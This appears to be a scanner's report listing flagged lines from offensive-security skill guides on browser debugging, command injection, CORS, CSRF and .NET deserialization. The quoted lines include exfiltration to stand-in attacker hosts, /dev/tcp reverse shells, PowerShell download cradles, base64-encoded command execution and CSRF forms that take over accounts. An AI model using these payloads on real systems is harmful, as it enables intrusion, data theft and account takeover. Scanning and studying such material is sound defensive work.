    // Test DNS egress (image load triggers DNS lookup) new Image().src = 'http://egress-dns.ATTACKER_DOMAIN/pixel.gif';
  • Network accessline 159
    new Image().src = 'http://egress-dns.ATTACKER_DOMAIN/pixel.gif';
  • Network accessline 168
    **Egress priority:** 1. `fetch()` POST to attacker HTTP listener — most reliable, largest payloads
  • Network accessline 169
    1. `fetch()` POST to attacker HTTP listener — most reliable, largest payloads
  • Network accessline 204
    html: document.documentElement.innerHTML.substring(0, 5000) }; fetch('http://ATTACKBOX:PORT/exfil', {
  • Network accessline 205
    }; fetch('http://ATTACKBOX:PORT/exfil', {   method: 'POST',
  • Network accessline 206
    fetch('http://ATTACKBOX:PORT/exfil', {
  • Network accessline 214
    // Fetch internal services the bot's browser can reach const targets = [   'http://localhost:3000/',
  • Network accessline 215
    const targets = [   'http://localhost:3000/',   'http://localhost:5000/',
  • Network accessline 216
    'http://localhost:3000/',
  • Network accessline 217
    'http://localhost:5000/',
  • Network accessline 218
    'http://127.0.0.1:8080/',
  • Network accessline 219
    'http://INTERNAL_HOST:PORT/'
  • Network accessline 222
    Promise.all(targets.map(u =>   fetch(u).then(r => r.text()).then(body => ({url: u, body: body.substring(0, 3000)}))
  • Network accessline 223
    fetch(u).then(r => r.text()).then(body => ({url: u, body: body.substring(0, 3000)}))
  • Network accessline 224
    .catch(e => ({url: u, error: e.message})) )).then(results => {   fetch('http://ATTACKBOX:PORT/internal', {
  • Network accessline 225
    )).then(results => {   fetch('http://ATTACKBOX:PORT/internal', {     method: 'POST',
  • Network accessline 226
    fetch('http://ATTACKBOX:PORT/internal', {
  • Network accessline 280
    fetch('http://ATTACKBOX:PORT/exfil', {
  • Network accessline 291
    let chunks = encoded.match(/.{1,60}/g) || []; chunks.forEach((c, i) => {   new Image().src = `http://${i}-${c}.ATTACKER_DOMAIN/p.gif`;
  • Network accessline 292
    chunks.forEach((c, i) => {   new Image().src = `http://${i}-${c}.ATTACKER_DOMAIN/p.gif`; });
  • Network accessline 293
    new Image().src = `http://${i}-${c}.ATTACKER_DOMAIN/p.gif`;
  • Network accessline 299
    navigator.sendBeacon('http://ATTACKBOX:PORT/beacon',
  • Network accessline 311
    // Method 1: If an internal service has command injection fetch('http://localhost:5000/vulnerable-endpoint', {
  • Network accessline 312
    fetch('http://localhost:5000/vulnerable-endpoint', {
  • Network accessline 313
    method: 'POST',   headers: {'Content-Type': 'application/x-www-form-urlencoded'},   body: 'cmd=' + encodeURIComponent('bash -c "bash -i >& /dev/tcp/ATTACKBOX/PORT 0>&1"')
  • Network accessline 314
    headers: {'Content-Type': 'application/x-www-form-urlencoded'},   body: 'cmd=' + encodeURIComponent('bash -c "bash -i >& /dev/tcp/ATTACKBOX/PORT 0>&1"') });
  • Dangerous shell operationline 315
    body: 'cmd=' + encodeURIComponent('bash -c "bash -i >& /dev/tcp/ATTACKBOX/PORT 0>&1"')
  • Network accessline 315
    body: 'cmd=' + encodeURIComponent('bash -c "bash -i >& /dev/tcp/ATTACKBOX/PORT 0>&1"')
  • Network accessline 322
    **Shell method priority:** mkfifo+nc > bash /dev/tcp > python socket.
  • Network accessline 344
    # Check if debug port is open and responsive curl -s http://TARGET:9222/json/version
  • Network accessline 345
    curl -s http://TARGET:9222/json/version
  • Network accessline 346
    curl -s http://TARGET:9222/json
  • Network accessline 348
    # Node.js inspector curl -s http://TARGET:9229/json
  • Network accessline 349
    curl -s http://TARGET:9229/json
  • Network accessline 359
    # List pages and get WebSocket URLs PAGES=$(curl -s http://TARGET:9222/json)
  • Network accessline 360
    PAGES=$(curl -s http://TARGET:9222/json)
  • Network accessline 390
    # Read local files via fetch in page context echo '{"id":1,"method":"Runtime.evaluate","params":{"expression":"fetch(\"file:///etc/passwd\").then(r=>r.text())"}}' \
  • Network accessline 391
    echo '{"id":1,"method":"Runtime.evaluate","params":{"expression":"fetch(\"file:///etc/passwd\").then(r=>r.text())"}}' \
  • Network accessline 400
    # Get WebSocket URL WS_URL=$(curl -s http://TARGET:9229/json | python3 -c "import sys,json; print(json.load(sys.stdin)[0]['webSocketDebuggerUrl'])")
  • Dangerous shell operationline 401
    WS_URL=$(curl -s http://TARGET:9229/json | python3 -c "import sys,json; print(json.load(sys.stdin)[0]['webSocketDebuggerUrl'])")
  • Network accessline 401
    WS_URL=$(curl -s http://TARGET:9229/json | python3 -c "import sys,json; print(json.load(sys.stdin)[0]['webSocketDebuggerUrl'])")
  • Access to secretsline 461
    [Credential-related source omitted]
  • Access to secretsline 469
    [Credential-related source omitted]
  • Network accessline 526
    may block outbound HTTP. Try DNS exfil or WebSocket. - **CORS errors in console**: Content scripts are not subject to CORS for   `fetch()` when `host_permissions` includes the target. Service workers
  • Network accessline 527
    - **CORS errors in console**: Content scripts are not subject to CORS for   `fetch()` when `host_permissions` includes the target. Service workers   bypass CORS entirely with proper permissions.
  • Network accessline 528
    `fetch()` when `host_permissions` includes the target. Service workers
  • Network accessline 537
    - **Port open but no WebSocket**: The `/json` endpoint may require a specific   host header. Try `curl -H "Host: localhost" http://TARGET:9222/json`.
  • Network accessline 538
    host header. Try `curl -H "Host: localhost" http://TARGET:9222/json`.
  • Network accessline 539
    - **Empty page list**: Browser may have no open tabs. Try   `/json/new?http://TARGET` to open a new tab (if permitted). - **"websocat not found"**: Use Python websockets library instead, or
  • Network accessline 540
    `/json/new?http://TARGET` to open a new tab (if permitted). - **"websocat not found"**: Use Python websockets library instead, or   `curl` with upgrade headers for simple one-shot commands.
  • Access to secretsline 549
    [Credential-related source omitted]

skills/web/command-injection/SKILL.md

  • Dangerous shell operationline 12
    - exec() injection
  • Dangerous shell operationline 33
    **Not Python eval()/exec() injection.** This skill covers injection into OS
  • Dangerous shell operationline 35
    backticks, and `$()`. If the injection context is a Python eval() or exec()
  • Possible obfuscationline 195
    cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
  • Possible obfuscationline 196
    X=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $X
  • Dangerous shell operationline 205
    echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh
  • Network accessline 221
    # /bin/nc with wildcard
  • Network accessline 302
    # curl/wget OOB
  • Network accessline 303
    $(curl http://ATTACKER.com/$(whoami))
  • Network accessline 304
    $(wget http://ATTACKER.com/$(id|base64) -O /dev/null)
  • Network accessline 316
    # Then retrieve via HTTP curl http://TARGET/output.txt
  • Network accessline 317
    curl http://TARGET/output.txt
  • Network accessline 328
    # curl — write to arbitrary file
  • Network accessline 329
    --output /tmp/shell.php -O http://attacker.com/shell.php
  • Network accessline 331
    # wget — write to arbitrary file
  • Network accessline 332
    -O /tmp/shell.php http://attacker.com/shell.php
  • Network accessline 383
    # If input reaches PowerShell ; Invoke-Expression "whoami" | IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/payload.ps1')
  • Network accessline 385
    | IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/payload.ps1')
  • Dangerous shell operationline 471
    instead of `exec()`) — argument injection is the only option
  • Network accessline 494
    1. Start with time-based: `; sleep 5` — compare response times 2. If `sleep` is blocked, try `ping -c 5 127.0.0.1` (5-second delay) 3. If time-based is unreliable, use OOB: `$(curl http://ATTACKER/test)`
  • Network accessline 495
    2. If `sleep` is blocked, try `ping -c 5 127.0.0.1` (5-second delay) 3. If time-based is unreliable, use OOB: `$(curl http://ATTACKER/test)` 4. If no outbound HTTP, try DNS: `$(host test.ATTACKER.com)`
  • Network accessline 496
    3. If time-based is unreliable, use OOB: `$(curl http://ATTACKER/test)`
  • Network accessline 504
    # commix — automated command injection python commix.py -u "http://TARGET/page?ip=127.0.0.1" --batch
  • Network accessline 505
    python commix.py -u "http://TARGET/page?ip=127.0.0.1" --batch
  • Network accessline 507
    # commix with POST data python commix.py -u "http://TARGET/page" --data="ip=127.0.0.1" --batch
  • Network accessline 508
    python commix.py -u "http://TARGET/page" --data="ip=127.0.0.1" --batch
  • Network accessline 510
    # commix OS shell python commix.py -u "http://TARGET/page?ip=127.0.0.1" --os-shell
  • Network accessline 511
    python commix.py -u "http://TARGET/page?ip=127.0.0.1" --os-shell
  • Network accessline 513
    # With specific technique python commix.py -u "http://TARGET/page?ip=127.0.0.1" -t time-based
  • Network accessline 514
    python commix.py -u "http://TARGET/page?ip=127.0.0.1" -t time-based

skills/web/cors-misconfiguration/SKILL.md

  • Network accessline 20
    - burpsuite   - curl   - corsy
  • Network accessline 21
    - curl   - corsy   - CORScanner
  • Network accessline 79
    # Test with an arbitrary attacker origin curl -sI -H "Origin: https://evil.com" \
  • Network accessline 80
    curl -sI -H "Origin: https://evil.com" \
  • Network accessline 81
    "https://TARGET/api/endpoint" | grep -i "access-control"
  • Network accessline 83
    # Test with null origin curl -sI -H "Origin: null" \
  • Network accessline 84
    curl -sI -H "Origin: null" \
  • Network accessline 85
    "https://TARGET/api/endpoint" | grep -i "access-control"
  • Network accessline 87
    # Test with a subdomain variant curl -sI -H "Origin: https://sub.TARGET" \
  • Network accessline 88
    curl -sI -H "Origin: https://sub.TARGET" \
  • Network accessline 89
    "https://TARGET/api/endpoint" | grep -i "access-control"
  • Network accessline 95
    # Full CORS header scan across multiple origin patterns ORIGINS=(   "https://evil.com"
  • Network accessline 96
    ORIGINS=(   "https://evil.com"   "null"
  • Network accessline 97
    "https://evil.com"
  • Network accessline 98
    "null"   "https://TARGET.evil.com"   "https://evil.TARGET"
  • Network accessline 99
    "https://TARGET.evil.com"
  • Network accessline 100
    "https://evil.TARGET"
  • Network accessline 101
    "https://TARGETevil.com"
  • Network accessline 102
    "https://evil-TARGET"
  • Network accessline 103
    "https://sub.TARGET"
  • Network accessline 104
    "https://TARGET_evil.com"
  • Network accessline 105
    "https://TARGET%60evil.com"
  • Network accessline 108
    for origin in "${ORIGINS[@]}"; do   echo "=== Origin: $origin ==="   curl -sI -H "Origin: $origin" \
  • Network accessline 109
    echo "=== Origin: $origin ==="   curl -sI -H "Origin: $origin" \     -H "Cookie: session=VALID_SESSION" \
  • Network accessline 110
    curl -sI -H "Origin: $origin" \
  • Network accessline 112
    "https://TARGET/api/sensitive" 2>/dev/null | \
  • Network accessline 120
    | Response Headers | Severity | Exploitable? | |-----------------|----------|-------------| | `ACAO: https://evil.com` + `ACAC: true` | **Critical** | Yes — full credential theft |
  • Network accessline 121
    |-----------------|----------|-------------| | `ACAO: https://evil.com` + `ACAC: true` | **Critical** | Yes — full credential theft | | `ACAO: null` + `ACAC: true` | **High** | Yes — via sandboxed iframe |
  • Network accessline 122
    | `ACAO: https://evil.com` + `ACAC: true` | **Critical** | Yes — full credential theft |
  • Network accessline 124
    | `ACAO: *` (no credentials) | **Medium** | Only if endpoint has sensitive data without auth | | `ACAO: *` + `ACAC: true` | **Invalid** | Browsers reject this combination | | `ACAO: https://sub.TARGET` + `ACAC: true` | **Medium** | Requires
  • Network accessline 125
    | `ACAO: *` + `ACAC: true` | **Invalid** | Browsers reject this combination | | `ACAO: https://sub.TARGET` + `ACAC: true` | **Medium** | Requires XSS on trusted subdomain | | No CORS headers | **None** | Not exploitable via CORS |
  • Network accessline 126
    | `ACAO: https://sub.TARGET` + `ACAC: true` | **Medium** | Requires XSS on trusted subdomain |
  • Network accessline 139
    curl -sI -H "Origin: https://attacker-controlled.com" \
  • Network accessline 141
    "https://TARGET/api/user/profile"
  • Network accessline 143
    # Vulnerable if response includes: # Access-Control-Allow-Origin: https://attacker-controlled.com
  • Network accessline 144
    # Access-Control-Allow-Origin: https://attacker-controlled.com
  • Network accessline 164
    // Exfiltrate to attacker server   fetch('https://ATTACKER_SERVER/exfil', {
  • Network accessline 165
    fetch('https://ATTACKER_SERVER/exfil', {
  • Network accessline 168
    }); }; xhr.open('GET', 'https://TARGET/api/user/profile', true);
  • Network accessline 169
    }; xhr.open('GET', 'https://TARGET/api/user/profile', true); xhr.withCredentials = true;  // Send victim's cookies
  • Network accessline 170
    xhr.open('GET', 'https://TARGET/api/user/profile', true);
  • Network accessline 181
    fetch('https://TARGET/api/user/profile', {
  • Network accessline 185
    .then(data => {   // Exfiltrate   navigator.sendBeacon('https://ATTACKER_SERVER/exfil', data);
  • Network accessline 186
    // Exfiltrate   navigator.sendBeacon('https://ATTACKER_SERVER/exfil', data); });
  • Network accessline 187
    navigator.sendBeacon('https://ATTACKER_SERVER/exfil', data);
  • Network accessline 199
    curl -sI -H "Origin: null" \
  • Network accessline 201
    "https://TARGET/api/user/profile"
  • Network accessline 214
    xhr.onload = function() {       // Exfiltrate stolen data       location = 'https://ATTACKER_SERVER/exfil?data='
  • Network accessline 215
    // Exfiltrate stolen data       location = 'https://ATTACKER_SERVER/exfil?data='         %2B encodeURIComponent(this.responseText);
  • Network accessline 216
    location = 'https://ATTACKER_SERVER/exfil?data='
  • Network accessline 217
    %2B encodeURIComponent(this.responseText);     };     xhr.open('GET', 'https://TARGET/api/user/profile', true);
  • Network accessline 218
    };     xhr.open('GET', 'https://TARGET/api/user/profile', true);     xhr.withCredentials = true;
  • Network accessline 219
    xhr.open('GET', 'https://TARGET/api/user/profile', true);
  • Network accessline 229
    <iframe sandbox="allow-scripts allow-top-navigation allow-forms"   srcdoc="<script>     fetch('https://TARGET/api/user/profile', {credentials: 'include'})
  • Network accessline 230
    srcdoc="<script>     fetch('https://TARGET/api/user/profile', {credentials: 'include'})     .then(r => r.text())
  • Network accessline 231
    fetch('https://TARGET/api/user/profile', {credentials: 'include'})
  • Network accessline 232
    .then(r => r.text())     .then(data => {       fetch('https://ATTACKER_SERVER/exfil', {
  • Network accessline 233
    .then(data => {       fetch('https://ATTACKER_SERVER/exfil', {         method: 'POST',
  • Network accessline 234
    fetch('https://ATTACKER_SERVER/exfil', {
  • Network accessline 250
    Server regex: `^https://api.example.com$` — dot matches any character.
  • Network accessline 253
    # Register: apiXexample.com (any char replaces the dot) curl -sI -H "Origin: https://apiXexample.com" \
  • Network accessline 254
    curl -sI -H "Origin: https://apiXexample.com" \
  • Network accessline 255
    "https://TARGET/api/endpoint" | grep -i "access-control"
  • Network accessline 260
    Server regex: `^https://example.com` — no `$` anchor.
  • Network accessline 263
    # Any domain starting with example.com passes curl -sI -H "Origin: https://example.com.evil.com" \
  • Network accessline 264
    curl -sI -H "Origin: https://example.com.evil.com" \
  • Network accessline 265
    "https://TARGET/api/endpoint" | grep -i "access-control"
  • Network accessline 273
    # Any domain ending with example.com passes curl -sI -H "Origin: https://evilexample.com" \
  • Network accessline 274
    curl -sI -H "Origin: https://evilexample.com" \
  • Network accessline 275
    "https://TARGET/api/endpoint" | grep -i "access-control"
  • Network accessline 283
    curl -sI -H "Origin: https://nottrusted.com" \
  • Network accessline 284
    "https://TARGET/api/endpoint" | grep -i "access-control"
  • Network accessline 290
    # Underscore (Chrome/Firefox accept in origin) curl -sI -H "Origin: https://target_evil.com" \
  • Network accessline 291
    curl -sI -H "Origin: https://target_evil.com" \
  • Network accessline 292
    "https://TARGET/api/endpoint" | grep -i "access-control"
  • Network accessline 294
    # Backtick (Safari edge case) curl -sI -H "Origin: https://target\`evil.com" \
  • Network accessline 295
    curl -sI -H "Origin: https://target\`evil.com" \
  • Network accessline 296
    "https://TARGET/api/endpoint" | grep -i "access-control"
  • Network accessline 298
    # Curly brace (Safari) curl -sI -H "Origin: https://target}.evil.com" \
  • Network accessline 299
    curl -sI -H "Origin: https://target}.evil.com" \
  • Network accessline 300
    "https://TARGET/api/endpoint" | grep -i "access-control"
  • Network accessline 316
    curl -sI -H "Origin: https://anything.TARGET" \
  • Network accessline 317
    "https://TARGET/api/user/profile" | grep -i "access-control"
  • Network accessline 319
    # Also check for wildcard curl -sI -H "Origin: https://evil.sub.TARGET" \
  • Network accessline 320
    curl -sI -H "Origin: https://evil.sub.TARGET" \
  • Network accessline 321
    "https://TARGET/api/user/profile" | grep -i "access-control"
  • Network accessline 329
    https://blog.target.com/post?q=<script> fetch('https://api.target.com/user/profile',{credentials:'include'})
  • Network accessline 330
    fetch('https://api.target.com/user/profile',{credentials:'include'})
  • Network accessline 331
    .then(r=>r.text()) .then(d=>fetch('https://ATTACKER_SERVER/exfil',{method:'POST',body:d})) </script>
  • Network accessline 332
    .then(d=>fetch('https://ATTACKER_SERVER/exfil',{method:'POST',body:d}))
  • Access to secretsline 351
    [Credential-related source omitted]
  • Network accessline 362
    // Scan internal services accessible via wildcard CORS const targets = [   'http://192.168.1.1/admin',
  • Network accessline 363
    const targets = [   'http://192.168.1.1/admin',   'http://10.0.0.5:8080/api/status',
  • Network accessline 364
    'http://192.168.1.1/admin',
  • Network accessline 365
    'http://10.0.0.5:8080/api/status',
  • Network accessline 366
    'http://localhost:3000/debug',
  • Network accessline 367
    'http://jenkins.internal:8080/api/json',
  • Network accessline 368
    'http://grafana.internal:3000/api/org'
  • Network accessline 371
    targets.forEach(url => {   fetch(url)
  • Network accessline 372
    fetch(url)
  • Network accessline 374
    .then(data => {       if (data.length > 0) {         fetch('https://ATTACKER_SERVER/internal', {
  • Network accessline 375
    if (data.length > 0) {         fetch('https://ATTACKER_SERVER/internal', {           method: 'POST',
  • Network accessline 376
    fetch('https://ATTACKER_SERVER/internal', {
  • Network accessline 394
    # Check for missing Vary header curl -sI -H "Origin: https://evil.com" \
  • Network accessline 395
    curl -sI -H "Origin: https://evil.com" \
  • Network accessline 396
    "https://TARGET/page" | grep -i "vary"
  • Network accessline 398
    # If Vary: Origin is missing, the cached response may include: # Access-Control-Allow-Origin: https://evil.com
  • Network accessline 399
    # Access-Control-Allow-Origin: https://evil.com
  • Network accessline 411
    for (let id = 1; id <= 1000; id++) {     try {       const r = await fetch(`https://TARGET/api/users/${id}`, {
  • Network accessline 412
    try {       const r = await fetch(`https://TARGET/api/users/${id}`, {         credentials: 'include'
  • Network accessline 413
    const r = await fetch(`https://TARGET/api/users/${id}`, {
  • Network accessline 416
    if (r.ok) {         const data = await r.json();         await fetch('https://ATTACKER_SERVER/exfil', {
  • Network accessline 417
    const data = await r.json();         await fetch('https://ATTACKER_SERVER/exfil', {           method: 'POST',
  • Network accessline 418
    await fetch('https://ATTACKER_SERVER/exfil', {
  • Network accessline 437
    // Override the callback function to steal data function jsonpCallback(data) {   fetch('https://ATTACKER_SERVER/exfil', {
  • Network accessline 438
    function jsonpCallback(data) {   fetch('https://ATTACKER_SERVER/exfil', {     method: 'POST',
  • Network accessline 439
    fetch('https://ATTACKER_SERVER/exfil', {
  • Network accessline 444
    </script> <!-- Browser loads script cross-origin, executes callback with data --> <script src="https://TARGET/api/user?callback=jsonpCallback"></script>
  • Network accessline 446
    <script src="https://TARGET/api/user?callback=jsonpCallback"></script>
  • Network accessline 457
    The browser just prevents reading the response.      Useful for blind CSRF-style attacks where you don't need the response. --> <form action="https://TARGET/api/transfer" method="POST"
  • Network accessline 458
    Useful for blind CSRF-style attacks where you don't need the response. --> <form action="https://TARGET/api/transfer" method="POST"       enctype="application/x-www-form-urlencoded">
  • Network accessline 459
    <form action="https://TARGET/api/transfer" method="POST"
  • Network accessline 476
    - CORS testing with curl is invisible to the target beyond normal HTTP requests
  • Network accessline 489
    - The endpoint may not have CORS configured at all (not exploitable via CORS) - Try adding `Access-Control-Request-Method: GET` header to trigger CORS - Try a preflight request: `curl -X OPTIONS -H "Origin: ..." TARGET`
  • Network accessline 490
    - Try adding `Access-Control-Request-Method: GET` header to trigger CORS - Try a preflight request: `curl -X OPTIONS -H "Origin: ..." TARGET` - Check if CORS is only enabled on specific endpoints (API vs static pages)
  • Network accessline 491
    - Try a preflight request: `curl -X OPTIONS -H "Origin: ..." TARGET`
  • Network accessline 503
    ### PoC Works in curl but Not in Browser

skills/web/csrf/SKILL.md

  • Network accessline 21
    - burpsuite (CSRF PoC generator)   - curl opsec: low
  • Network accessline 22
    - curl opsec: low ---
  • Network accessline 62
    CSRF testing benefits from browser tools because **browser-enforced protections (SameSite cookies, CORS) only apply in a real browser context** — curl bypasses
  • Network accessline 63
    [Credential-related source omitted]
  • Access to secretsline 63
    [Credential-related source omitted]
  • Access to secretsline 66
    [Credential-related source omitted]
  • Access to secretsline 70
    [Credential-related source omitted]
  • Network accessline 103
    # 2. SameSite cookie attribute curl -sI "https://TARGET/login" | grep -i "set-cookie"
  • Network accessline 104
    curl -sI "https://TARGET/login" | grep -i "set-cookie"
  • Network accessline 107
    # 3. Referer/Origin validation # Send request without Referer — does it still work? curl -s -X POST -H "Cookie: session=VALID" \
  • Network accessline 108
    # Send request without Referer — does it still work? curl -s -X POST -H "Cookie: session=VALID" \   -H "Content-Type: application/x-www-form-urlencoded" \
  • Network accessline 109
    curl -s -X POST -H "Cookie: session=VALID" \
  • Network accessline 110
    -H "Content-Type: application/x-www-form-urlencoded" \   -d "email=test@test.com" \   "https://TARGET/change-email"
  • Network accessline 112
    "https://TARGET/change-email"
  • Network accessline 128
    <form method="POST" action="https://TARGET/change-email">
  • Network accessline 138
    <form method="POST" action="https://TARGET/change-email">
  • Network accessline 169
    <!-- Original POST with token validation --> <!-- Bypass: same action as GET without token --> <img src="https://TARGET/change-email?email=attacker@evil.com" />
  • Network accessline 171
    <img src="https://TARGET/change-email?email=attacker@evil.com" />
  • Network accessline 183
    <form method="POST" action="https://TARGET/change-email">
  • Network accessline 198
    <!-- Top-level navigation with GET — cookies sent with Lax --> <a href="https://TARGET/change-email?email=attacker@evil.com">Click here</a>
  • Network accessline 199
    <a href="https://TARGET/change-email?email=attacker@evil.com">Click here</a>
  • Network accessline 201
    <!-- Auto-redirect --> <script>   window.location = "https://TARGET/change-email?email=attacker@evil.com";
  • Network accessline 202
    <script>   window.location = "https://TARGET/change-email?email=attacker@evil.com"; </script>
  • Network accessline 203
    window.location = "https://TARGET/change-email?email=attacker@evil.com";
  • Network accessline 210
    <!-- POST endpoint that accepts _method override via GET --> <a href="https://TARGET/change-email?_method=POST&email=attacker@evil.com">
  • Network accessline 211
    <a href="https://TARGET/change-email?_method=POST&email=attacker@evil.com">
  • Network accessline 255
    </head> <body>   <form method="POST" action="https://TARGET/change-email">
  • Network accessline 256
    <body>   <form method="POST" action="https://TARGET/change-email">     <input type="hidden" name="email" value="attacker@evil.com" />
  • Network accessline 257
    <form method="POST" action="https://TARGET/change-email">
  • Network accessline 276
    <script>     // Put target domain in the query string of our attacker page     history.pushState("", "", "?https://TARGET");
  • Network accessline 277
    // Put target domain in the query string of our attacker page     history.pushState("", "", "?https://TARGET");   </script>
  • Network accessline 278
    history.pushState("", "", "?https://TARGET");
  • Network accessline 279
    </script>   <form method="POST" action="https://TARGET/change-email">     <input type="hidden" name="email" value="attacker@evil.com" />
  • Network accessline 280
    <form method="POST" action="https://TARGET/change-email">
  • Network accessline 288
    The Referer sent will be: `https://attacker.com/?https://TARGET` — passes
  • Network accessline 305
    <form method="POST" action="https://TARGET/api/change-email"
  • Network accessline 320
    <script> fetch('https://TARGET/api/change-email', {
  • Network accessline 321
    fetch('https://TARGET/api/change-email', {
  • Network accessline 336
    <script> navigator.sendBeacon(   'https://TARGET/api/change-email',
  • Network accessline 337
    navigator.sendBeacon(   'https://TARGET/api/change-email',   new Blob(['{"email":"attacker@evil.com"}'], {type: 'text/plain'})
  • Network accessline 338
    'https://TARGET/api/change-email',
  • Network accessline 349
    <script> var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://TARGET/api/change-email', true);
  • Network accessline 350
    var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://TARGET/api/change-email', true); xhr.withCredentials = true;
  • Network accessline 351
    xhr.open('POST', 'https://TARGET/api/change-email', true);
  • Network accessline 374
    } </script> <form method="POST" action="https://TARGET/upload"
  • Network accessline 375
    </script> <form method="POST" action="https://TARGET/upload"       enctype="multipart/form-data" style="display:none">
  • Network accessline 376
    <form method="POST" action="https://TARGET/upload"
  • Network accessline 388
    <form method="POST" action="https://TARGET/login">
  • Network accessline 406
    <!-- Set cookie via CRLF injection in a parameter --> <img src="https://TARGET/?search=test%0d%0aSet-Cookie:%20csrf=attacker_token"
  • Network accessline 407
    <img src="https://TARGET/?search=test%0d%0aSet-Cookie:%20csrf=attacker_token"
  • Network accessline 408
    onerror="document.forms[0].submit();" /> <form method="POST" action="https://TARGET/change-email">   <input type="hidden" name="email" value="attacker@evil.com" />
  • Network accessline 409
    <form method="POST" action="https://TARGET/change-email">
  • Network accessline 426
    ws.onmessage = function(event) {   // Exfiltrate data   fetch('https://ATTACKER_SERVER/exfil', {
  • Network accessline 427
    // Exfiltrate data   fetch('https://ATTACKER_SERVER/exfil', {     method: 'POST',
  • Network accessline 428
    fetch('https://ATTACKER_SERVER/exfil', {
  • Network accessline 446
    </style> <div class="bait">Click to claim your prize!</div> <iframe src="https://TARGET/settings?email=attacker@evil.com"></iframe>
  • Network accessline 448
    <iframe src="https://TARGET/settings?email=attacker@evil.com"></iframe>
  • Network accessline 465
    <h1>CSRF Proof of Concept</h1>   <p>This page demonstrates CSRF on [TARGET]</p>   <form id="csrf" method="POST" action="https://TARGET/change-email">
  • Network accessline 466
    <p>This page demonstrates CSRF on [TARGET]</p>   <form id="csrf" method="POST" action="https://TARGET/change-email">     <input type="hidden" name="email" value="attacker@evil.com" />
  • Network accessline 467
    <form id="csrf" method="POST" action="https://TARGET/change-email">
  • Network accessline 487
    <body>   <iframe name="csrfFrame" style="display:none"></iframe>   <form id="csrf" method="POST" action="https://TARGET/change-email"
  • Network accessline 488
    <iframe name="csrfFrame" style="display:none"></iframe>   <form id="csrf" method="POST" action="https://TARGET/change-email"         target="csrfFrame">
  • Network accessline 489
    <form id="csrf" method="POST" action="https://TARGET/change-email"
  • Network accessline 504
    // Step 1: Change email   var f1 = document.createElement('form');   f1.method = 'POST'; f1.action = 'https://TARGET/change-email';
  • Network accessline 505
    var f1 = document.createElement('form');   f1.method = 'POST'; f1.action = 'https://TARGET/change-email';   f1.target = 'frame1';
  • Network accessline 506
    f1.method = 'POST'; f1.action = 'https://TARGET/change-email';
  • Network accessline 515
    // Step 2: Request password reset (goes to attacker's email)   var f2 = document.createElement('form');   f2.method = 'POST'; f2.action = 'https://TARGET/reset-password';
  • Network accessline 516
    var f2 = document.createElement('form');   f2.method = 'POST'; f2.action = 'https://TARGET/reset-password';   f2.target = 'frame2';
  • Network accessline 517
    f2.method = 'POST'; f2.action = 'https://TARGET/reset-password';

skills/web/deserialization-dotnet/SKILL.md

  • Network accessline 132
    # Basic RCE via LosFormatter + TypeConfuseDelegate ysoserial.exe -f LosFormatter -g TypeConfuseDelegate \   -c "powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')" \
  • Network accessline 133
    ysoserial.exe -f LosFormatter -g TypeConfuseDelegate    -c "powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"
  • Network accessline 134
    -c "powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')" \
  • Network accessline 170
    # POST to the target page with crafted __VIEWSTATE curl -X POST https://TARGET/page.aspx \
  • Network accessline 171
    curl -X POST https://TARGET/page.aspx \
  • Network accessline 245
    # Send raw binary ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "whoami" -o raw > payload.bin curl -X POST https://TARGET/endpoint \
  • Network accessline 246
    ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "whoami" -o raw > payload.bin curl -X POST https://TARGET/endpoint \   -H "Content-Type: application/x-net-serialized-object" \
  • Network accessline 247
    curl -X POST https://TARGET/endpoint \
  • Network accessline 260
    # Look for AAEAAAD signatures in responses curl -s http://TARGET:PORT/ | base64 -d 2>/dev/null | xxd | head
  • Network accessline 261
    curl -s http://TARGET:PORT/ | base64 -d 2>/dev/null | xxd | head
  • Network accessline 263
    # Check for .NET Remoting error messages curl -s http://TARGET:PORT/ -H "Content-Type: application/octet-stream"
  • Network accessline 264
    curl -s http://TARGET:PORT/ -H "Content-Type: application/octet-stream"
  • Network accessline 270
    # If TypeFilterLevel=Full (unrestricted deserialization) ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "cmd /c whoami" -o raw > payload.bin curl -X POST http://TARGET:PORT/endpoint \
  • Network accessline 271
    ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "cmd /c whoami" -o raw > payload.bin curl -X POST http://TARGET:PORT/endpoint \   -H "Content-Type: application/octet-stream" \
  • Network accessline 272
    curl -X POST http://TARGET:PORT/endpoint \
  • Network accessline 276
    # SoapFormatter variant ysoserial.exe -f SoapFormatter -g TypeConfuseDelegate -c "cmd /c whoami" -o raw > payload.bin curl -X POST http://TARGET:PORT/endpoint \
  • Network accessline 277
    ysoserial.exe -f SoapFormatter -g TypeConfuseDelegate -c "cmd /c whoami" -o raw > payload.bin curl -X POST http://TARGET:PORT/endpoint \   -H "Content-Type: text/xml" --data-binary @payload.bin
  • Network accessline 278
    curl -X POST http://TARGET:PORT/endpoint \
  • Network accessline 298
    # Generate payload for SharePoint ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate \   -c "powershell -nop -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')" \
  • Network accessline 299
    ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate    -c "powershell -nop -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"
  • Network accessline 300
    -c "powershell -nop -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')" \
  • Network accessline 344
    ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate \   -c "cmd /c echo PROOF > c:\inetpub\wwwroot\proof.txt" -o base64 # Then: curl https://TARGET/proof.txt
  • Network accessline 346
    # Then: curl https://TARGET/proof.txt

skills/web/deserialization-java/SKILL.md

  • Network accessline 100
